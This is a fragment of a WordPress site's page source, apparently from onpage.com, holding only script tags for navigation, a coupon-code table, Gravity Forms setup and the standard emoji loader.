var shiftnav_data = {"shift_body":"off","shift_body_wrapper":"","lock_body":"on","lock_body_x":"off","open_current":"off","collapse_accordions":"off","scroll_panel":"on","breakpoint":"","v":"1.7.1","pro":"1","touch_off_close":"on","scroll_offset":"100","disable_transforms":"off","close_on_target_click":"off","scroll_top_boundary":"50","scroll_tolerance":"10","process_uber_segments":"on"};
//# sourceURL=shiftnav-js-extra
</script>
<script id="shiftnav-js" src="https://www.onpage.com/wp-content/plugins/shiftnav-pro/assets/js/shiftnav.min.js?ver=1.7.1"></script>
<script id="custom-js-extra">
var coupon_code_arr = {"BPE":[{"product":"All products","plan":"Quarterly"},{"product":"All products","plan":"Yearly"}],"CONTACT1":[{"product":"All products","plan":"Quarterly"}],"RINCON":[{"product":"All products","plan":"Quarterly"}],"BILL10":[{"product":"All products","plan":"Yearly"}],"LOYAL":[{"product":"All products","plan":"Yearly"}],"TEETH":[{"product":"All products","plan":"Yearly"}]};
//# sourceURL=custom-js-extra
</script>
<script id="custom-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/custom.js?ver=1727859301"></script>
<script id="fancybox-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/fancybox.js?ver=1715978241"></script>
<script id="fancybox-media-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/fancybox-media.js?ver=1715978241"></script>
<script id="flexslider-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/flexslider.js?ver=1715978241"></script>
<script id="owl-carousel-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/owl.carousel.min.js?ver=1715978241"></script>
<script id="retina-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/retina.js?ver=1715978241"></script>
<script id="selectBox-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/selectBox.js?ver=1715978241"></script>
<script id="bootstrap-js-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/bootstrap.min.js?ver=1715978241"></script>
<script id="leftsidebar-js" src="https://www.onpage.com/wp-content/themes/onpage/assets/scripts/leftsidebar.js?ver=1715978241"></script>
<script id="gform_json-js" defer='defer' src="https://www.onpage.com/wp-content/plugins/gravityforms/js/jquery.json.min.js?ver=2.8.17"></script>
<script id="gform_gravityforms-js-extra">
var gform_i18n = {"datepicker":{"days":{"monday":"Mo","tuesday":"Tu","wednesday":"We","thursday":"Th","friday":"Fr","saturday":"Sa","sunday":"Su"},"months":{"january":"January","february":"February","march":"March","april":"April","may":"May","june":"June","july":"July","august":"August","september":"September","october":"October","november":"November","december":"December"},"firstDay":0,"iconText":"Select date"}};
var gf_legacy_multi = [];
var gform_gravityforms = {"strings":{"invalid_file_extension":"This type of file is not allowed. Must be one of the following:","delete_file":"Delete this file","in_progress":"in progress","file_exceeds_limit":"File exceeds size limit","illegal_extension":"This type of file is not allowed.","max_reached":"Maximum number of files reached","unknown_error":"There was a problem while saving the file on the server","currently_uploading":"Please wait for the uploading to complete","cancel":"Cancel","cancel_upload":"Cancel this upload","cancelled":"Cancelled"},"vars":{"images_url":"https://www.onpage.com/wp-content/plugins/gravityforms/images"}};
var gf_global = {"gf_currency_config":{"name":"U.S. Dollar","symbol_left":"$","symbol_right":"","symbol_padding":"","thousand_separator":",","decimal_separator":".","decimals":2,"code":"USD"},"base_url":"https://www.onpage.com/wp-content/plugins/gravityforms","number_formats":[],"spinnerUrl":"https://www.onpage.com/wp-content/plugins/gravityforms/images/spinner.svg","version_hash":"ea4e2481e8fa902edd689b148d4e5cec","strings":{"newRowAdded":"New row added.","rowRemoved":"Row removed","formSaved":"The form has been saved. The content contains the link to return and complete the form."}};
//# sourceURL=gform_gravityforms-js-extra
</script>
<script id="gform_gravityforms-js" defer='defer' src="https://www.onpage.com/wp-content/plugins/gravityforms/js/gravityforms.min.js?ver=2.8.17"></script>
<script id="gform_placeholder-js" defer='defer' src="https://www.onpage.com/wp-content/plugins/gravityforms/js/placeholders.jquery.min.js?ver=2.8.17"></script>
<script id="gform_gravityforms_utils-js" defer='defer' src="https://www.onpage.com/wp-content/plugins/gravityforms/assets/js/dist/utils.min.js?ver=50c7bea9c2320e16728e44ae9fde5f26"></script>
<script id="gform_gravityforms_theme_vendors-js" defer='defer' src="https://www.onpage.com/wp-content/plugins/gravityforms/assets/js/dist/vendor-theme.min.js?ver=54e7080aa7a02c83aa61fae430b9d869"></script>
<script id="gform_gravityforms_theme-js-extra">
var gform_theme_config = {"common":{"form":{"honeypot":{"version_hash":"ea4e2481e8fa902edd689b148d4e5cec"}}},"hmr_dev":"","public_path":"https://www.onpage.com/wp-content/plugins/gravityforms/assets/js/dist/"};
//# sourceURL=gform_gravityforms_theme-js-extra
</script>
<script id="gform_gravityforms_theme-js" defer='defer' src="https://www.onpage.com/wp-content/plugins/gravityforms/assets/js/dist/scripts-theme.min.js?ver=bab19fd84843dabc070e73326d787910"></script>
<script id="gforms_recaptcha_frontend-legacy-js" src="https://www.onpage.com/wp-content/plugins/gravityformsrecaptcha/js/frontend-legacy.min.js?ver=1.6.0"></script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://www.onpage.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://www.onpage.com/wp-includes/js/wp-emoji-loader.min.js
</script>
<script>
gform.initializeOnLoaded( function() { jQuery(document).on('gform_post_render', function(event, formId, currentPage){if(formId == 1) {if(typeof Placeholders != 'undefined'){
Placeholders.enable();
}} } );jQuery(document).on('gform_post_conditional_logic', function(event, formId, fields, isInit){} ) } );
</script>
<script>
gform.initializeOnLoaded( function() {jQuery(document).trigger("gform_pre_post_render", [{ formId: "1", currentPage: "1", abort: function() { this.preventDefault(); } }]); if (event && event.defaultPrevented) { return; } const gformWrapperDiv = document.getElementById( "gform_wrapper_1" ); if ( gformWrapperDiv ) { const visibilitySpan = document.createElement( "span" ); visibilitySpan.id = "gform_visibility_test_1"; gformWrapperDiv.insertAdjacentElement( "afterend", visibilitySpan ); } const visibilityTestDiv = document.getElementById( "gform_visibility_test_1" ); let postRenderFired = false; function triggerPostRender() { if ( postRenderFired ) { return; } postRenderFired = true; jQuery( document ).trigger( 'gform_post_render', [1, 1] ); gform.utils.trigger( { event: 'gform/postRender', native: false, data: { formId: 1, currentPage: 1 } } ); if ( visibilityTestDiv ) { visibilityTestDiv.parentNode.removeChild( visibilityTestDiv ); } } function debounce( func, wait, immediate ) { var timeout; return function() { var context = this, args = arguments; var later = function() { timeout = null; if ( !immediate ) func.apply( context, args ); }; var callNow = immediate && !timeout; clearTimeout( timeout ); timeout = setTimeout( later, wait ); if ( callNow ) func.apply( context, args ); }; } const debouncedTriggerPostRender = debounce( function() { triggerPostRender(); }, 200 ); if ( visibilityTestDiv && visibilityTestDiv.offsetParent === null ) { const observer = new MutationObserver( ( mutations ) => { mutations.forEach( ( mutation ) => { if ( mutation.type === 'attributes' && visibilityTestDiv.offsetParent !== null ) { debouncedTriggerPostRender(); observer.disconnect(); } }); }); observer.observe( document.body, { attributes: true, childList: false, subtree: true, attributeFilter: [ 'style', 'class' ], }); } else { triggerPostRender(); } } );
</script>
<script type="text/javascript" id="wpsp-script-frontend"></script>
</body>
</html>